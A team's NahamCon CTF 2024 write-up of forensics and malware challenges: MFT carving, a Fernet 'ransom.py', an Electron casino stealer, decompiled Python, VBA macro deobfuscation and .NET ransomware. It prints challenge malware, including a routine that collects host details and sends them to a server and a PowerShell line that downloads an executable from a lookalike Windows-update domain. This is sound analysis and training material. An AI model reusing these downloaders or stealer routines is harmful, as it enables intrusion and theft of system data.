NahamCon CTF 2024 - Writeups

8 minute read

Beofre we start, I’d like to say we managed to secure 3rd SPOT on this CTF:

D1

Forensics: Taking up residence

Identifying the file type we got we can see that it’s just data:

P1

After some carving using foremost I got nothing and uploaded it to Autopsy, And alot of MFTs were carved:

P2

P3

Next step I saved all the directories containing those MFTs so I can automate searching in them for specific strings, as an MFT file is eventually a database of file-related information.

P4

Trying grep recursively on the folder searching for the word “flag.txt” (I know this bcuz I found a path to it when using strings), we get some intersting matches: P5

After that we get back to autopsy and check those file one by one.

P6

The last match seems it has information about a script that was used to encrypt the flag.

FILE0
ransom.py
from cryptography.fernet import Fernet
import subprocess
key = subprocess.run(["powershell", "-EncodedCommand", "RwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAIgByAGEAbgBzAG8AbQAuAHAAeQAiACAALQBTAHQAcgBlAGEAbQAgACIAawBl(
kAIgA="], capture_output=True, text=True).stdout.strip()
print(key)
with open('flag.txt', 'r') as reader:
    message = reader.read()
f = Fernet(key)
encrypted_message = f.encrypt(message.encode())
print(encrypted_message)
with open('flag.txt', 'w') as writer:
    writer.write(encrypted_message.decode('ascii'))
    
62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU=

As we can see it uses Fernet to encrypt the flag with a key derived from an execution of a Powershell command, but as we see both key and encrypted message are printed, So that means we can maybe find them somewhere in this file.

I assumed that the base64 encoded data at the end is the key and started to look for the encrypted flag.

As I assumed the key, I thought of maybe trying to encrypt the text snippet flag{ as I know the flag format, and use the same key, then check the first chars of the encrypted message I get, and seacrh for it in strings, I used this script:

from cryptography.fernet import Fernet

def encrypt_message(message, key):
    fernet = Fernet(key)
    encrypted_message = fernet.encrypt(message.encode())
    return encrypted_message

key = b'62QJTO5dH0xaKgmiVfOFKNYCBMfRiNF5L7rxDChc0SU='
message = "flag{"

encrypted_message = encrypt_message(message, key)
print("Encrypted message:", encrypted_message)

And got:

Encrypted message: b'gAAAAABmUZnqDwB0bwDkO8pTBH5_nki2ukQG3-2B7ZLFAoDpNrBSNx_4UIkbAegh0tvZsPG2l0C2ZxRzt4oTE7rPkdw0c-sQuQ=='

I searched for gAAAAA in the strings of the parent file:

P7

Taking the second encrypted string, decrypting it we get the flag:

P8

Malware: Perfectly legit casino

We get a zipped file, after we unzip it we will see the contents as follows:

P9

This look like some contents of a MacOS application bundle, and those contents are the contents of the app directory, I have started to explore a little but obviously you can’t explore all the files one by one, it’ll be time consuming, So the best approach is to look for somewehere we can find the functionality of the Malware itself.

Apparently the functionality cannot be found in styling files for example, but one of the files that contains the source code of the application is app.asar which is a file format used by the Electron framework, which is commonly used for building cross-platform desktop applications using HTML, CSS, and JavaScript.

This file can be found inside Resurces directory.

P10

To be able to read the contents of it we need to unpack it, and simply on Linux we can use the command:

npx @electron/asar extract app.asar <FOLDER>

P11

Checking the main.js we can get a function named runMacOS():

async function runMacOS() {
  doCommand(
    "echo U2FsdGVkX18dLoy5VJmru0jW8cEVgMQS5JYhHSk8D369laaZ7d7nBJXslDqS4CFoqIfwoKGM6Urhmx079RXgIA== | openssl enc -aes-256-cbc -d -a -pass pass:infected"
  );
  const commands = [
    ["username", "whoami"],
    ["hostname", "hostname"],
    ["ip", "hostname"],
    ["osys", "sw_vers -productVersion"],
    ["cpu", "sysctl -n machdep.cpu.brand_string"],
    ["ram", "sysctl -n hw.memsize"],
    ["gpu", "system_profiler SPDisplaysDataType | grep Chipset"],
    ["disk", "diskutil info / | grep Total"],
    ["network", "networksetup -listallhardwareports"],
    ["uptime", "uptime"],
    ["processes", "ps aux"],
    ["services", "launchctl list"],
    [
      "firewall",
      "defaults read /Library/Preferences/com.apple.alf globalstate",
    ],
    ["users", "dscl . list /Users"],
    ["groups", "dscl . list /Groups"],
  ];
  const info = await gatherSystemInfo(commands);
  sendToServer(info);
}

Take the doCommand() function command and execute it you’ll get the flag.

P12

Malware: Brain Melt

Unzipping the file, we get a .pyc, which is a python compiled script:

P13

using uncompyle6 we can decompile this PYC.

pip install uncompyle6

After decompiling the PYC, you’ll get a python script with a couple of functions, copy the deobfuscate() function and its dependencies and execute it:

import base64
from Crypto.Cipher import Salsa20

def decrypt1(data):
    result = ""
    for i in range(0, len(data), 2):
        chunk = str(data[i:i + 2]) + "=="
        result += str(base64.b64decode(chunk).decode("ascii"))
    else:
        return result


def decrypt2(a1, a2):
    result = ""
    for character in a1:
        a2 = 9
        tempcharaddedr = "temporary value"
        result += chr((ord(character) - ord("a") + a2) % 26 + ord("a"))
    else:
        return result


def decrypt3(s1, key):
    msg_nonce = s1[:8]
    ciphertext = s1[8:]
    glob_key = key
    ab = key
    cipher = Salsa20.new(key=(key.encode("utf-8")), nonce=msg_nonce)
    return cipher.decrypt(ciphertext).decode("utf-8")


def deobfuscate():
    part1 = print(decrypt1("ZgbAYQZwewMAOAZQOQYwYwNQYgMA"),end='')
    part2 = print(decrypt2("fwvcttjsfvrshwsg", 17),end='')
    part3 = print(decrypt3(b'\x97p#2\x1abw\x0f\x9a\xd1Z\x04b\x93\xa1h8]\xab\xa3\x9e7\xc9\xe8\x9b', "25dbd4f362f7d0e64b24ab231728a1fc"))
    key = part1 + part2 + part3
    print(key)

deobfuscate()

Macro Madness: The Breach

Macro madness is a series of challenges, in order to access a challenge you need to solve the one beofre it,

The breach is the first challenge, we are getting some office documents and excel sheets, and we are tasked to find the malicious macro.

P14

I have started to explore them manually, but that was time consuming, One of my teammates wrote this script so we can automate the process of extraction:

import os
from oletools.olevba import VBA_Parser, FileOpenError

# Define the folder containing the documents
folder_path = 'docs'
# Define the output file for the extracted VBA macros
output_file = 'extracted_vba_macros.txt'

# List of supported file extensions
supported_extensions = ['.doc', '.docx', '.xls']

def extract_vba_from_file(file_path):
    try:
        vba_parser = VBA_Parser(file_path)
        if vba_parser.detect_vba_macros():
            with open(output_file, 'a') as f:
                f.write(f'VBA Macros from {file_path}:\n')
                for (filename, stream_path, vba_filename, vba_code) in vba_parser.extract_macros():
                    f.write(f'\n\nFilename: {filename}\nStream Path: {stream_path}\nVBA Filename: {vba_filename}\n')
                    f.write(vba_code)
                    f.write('\n\n' + '-'*80 + '\n\n')
            vba_parser.close()
    except FileOpenError as e:
        print(f'Error opening file {file_path}: {e}')

def main():
    # Check if the output file exists and delete it
    if os.path.exists(output_file):
        os.remove(output_file)
    
    # Walk through the directory and process each file
    for root, dirs, files in os.walk(folder_path):
        for file in files:
            if any(file.lower().endswith(ext) for ext in supported_extensions):
                file_path = os.path.join(root, file)
                extract_vba_from_file(file_path)

if __name__ == "__main__":
    main()

After extracting the Macros from each file, most of them will be encrypted in a similar structure:

P15

We use this code to get the decrypted content:

def achieve(believe):
    return chr(believe - 16)

def retrieve(relieve):
    return relieve[:3]

def perceive(deceive):
    return deceive[3:]

def receive(conceive):
    grieve = ""
    while len(conceive) > 0:
        grieve += achieve(int(retrieve(conceive)))
        conceive = perceive(conceive)
    return grieve

def MyMacro():
    thieve = "128127135117130131120117124124048089126134127123117061103117114098117129133117131132048061101130121048120132132128074063063115127134117130132115127126132130127124062126117132075048089126134127123117061103117114098117129133117131132048061101130121048120132132128131074063063127114131115133130117127128131062127130119074072064072064075048131115048131132127128048131128127127124117130"
    sleeve = receive(thieve)
    print(sleeve)
    # Assuming these are function names and arguments, replace them with actual code
    # GetObject(receive("135121126125119125132131074")).Get(receive("103121126067066111096130127115117131131")).Create(sleeve, reprieve, naive, believe)

if __name__ == "__main__":
    MyMacro()

Automate the decryption and extraction and you’ll get this powershell code in file Space Pirate Code of Conduct.doc

Invoke-WebRequest 'http://vvindowsupdate.com:8080/update' -UseBasicParsing -Headers @{'heartbeat'='9885b80063bb7ba74f75b6f8aff291bc91cfa8eb77d942d433c9178aa9e99c6f'}  -OutFile 'Test.exe'

Let’s make a request to this domain using the header value we got:

import requests

url = "http://vvindowsupdate.com:8080/update"
headers = {
    "heartbeat": "9885b80063bb7ba74f75b6f8aff291bc91cfa8eb77d942d433c9178aa9e99c6f"
}

try:
    response = requests.get(url, headers=headers)
    print("Response Status Code:", response.status_code)
    print("Response Content:", response.text)
except requests.RequestException as e:
    print("Error:", e)

Open WireShark and check response headers:

P15

The flag was returned in one of the headers.

Macro madness: The Malware

As I said, its a series of challenges, after we solved the first one and initiated that request, A PE file was retrieved and the next challenge is analyzing that PE.

Its a 32 bit executable and seems there is an executable embedded in resource section and also there is an overlay.

P16

Now, to be honest I started analyzing the executable in the resource which was a DLL, but later as I was frustrated, I contacted the admin and he gave me a good hint “Investigate the whole thing”.

Once executing the EXE it seems to fail and print some .NET related instructions: P17

As I was also trying to decompile and read the code manually, nothing seemed interesting as if it was some dummy function’s code, but then I started to also see some .NET code at the .rdata section:

P18

After that I started to think that this binary is acting as a stager or a stub to execute a .NET payload, I dumped the overlay I found before and indeed I found a .NET executable:

P19

To extract the executable properly we can use foremost tool, better that manual dumping, And checking the executable in dnSpy we can see that its a ransomware, And we can also get the function that generates the flag: P20

The string n0nc3FTW will be passed as a parameter when the function is called, so reversing it, xoring with 66 and obtaining its MD5 will give us the flag P21

Macro madness: The Decryption

This challenge was solved by one of my teammates, The ransomware has weakness in its encryption routine, it uses AES CTR with randomly generated key, to decrypt the files you can do

XOR(logo,enc_logo,enc_filename)

For those who didn’t play the CTF, the logo was provided along with its encrypted version. Do this operation on the whole files and the flag will be showed in an image.